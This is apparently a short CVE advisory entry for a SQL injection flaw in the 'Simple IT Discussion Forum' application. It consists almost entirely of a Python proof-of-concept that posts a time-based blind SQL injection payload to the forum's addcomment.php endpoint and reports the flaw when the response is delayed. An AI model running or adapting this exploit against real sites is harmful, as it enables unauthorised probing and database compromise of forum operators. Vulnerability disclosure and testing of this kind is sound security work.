CVE-2026-5828: Simple IT Discussion Forum SQL注入漏洞

import requests # Target URL (replace with actual target) target_url = "http://target.com/functions/addcomment.php" # Malicious payload for SQL Injection # Example: Checking for time-based blind SQL injection payload = { "postid": "1' AND SLEEP(5)-- -", "comment": "test_comment", "submit": "submit" } try: # Send POST request with the payload response = requests.post(target_url, data=payload, timeout=10) # Analyze response time to confirm vulnerability if response.elapsed.total_seconds() > 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time delay.") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"Error: {e}")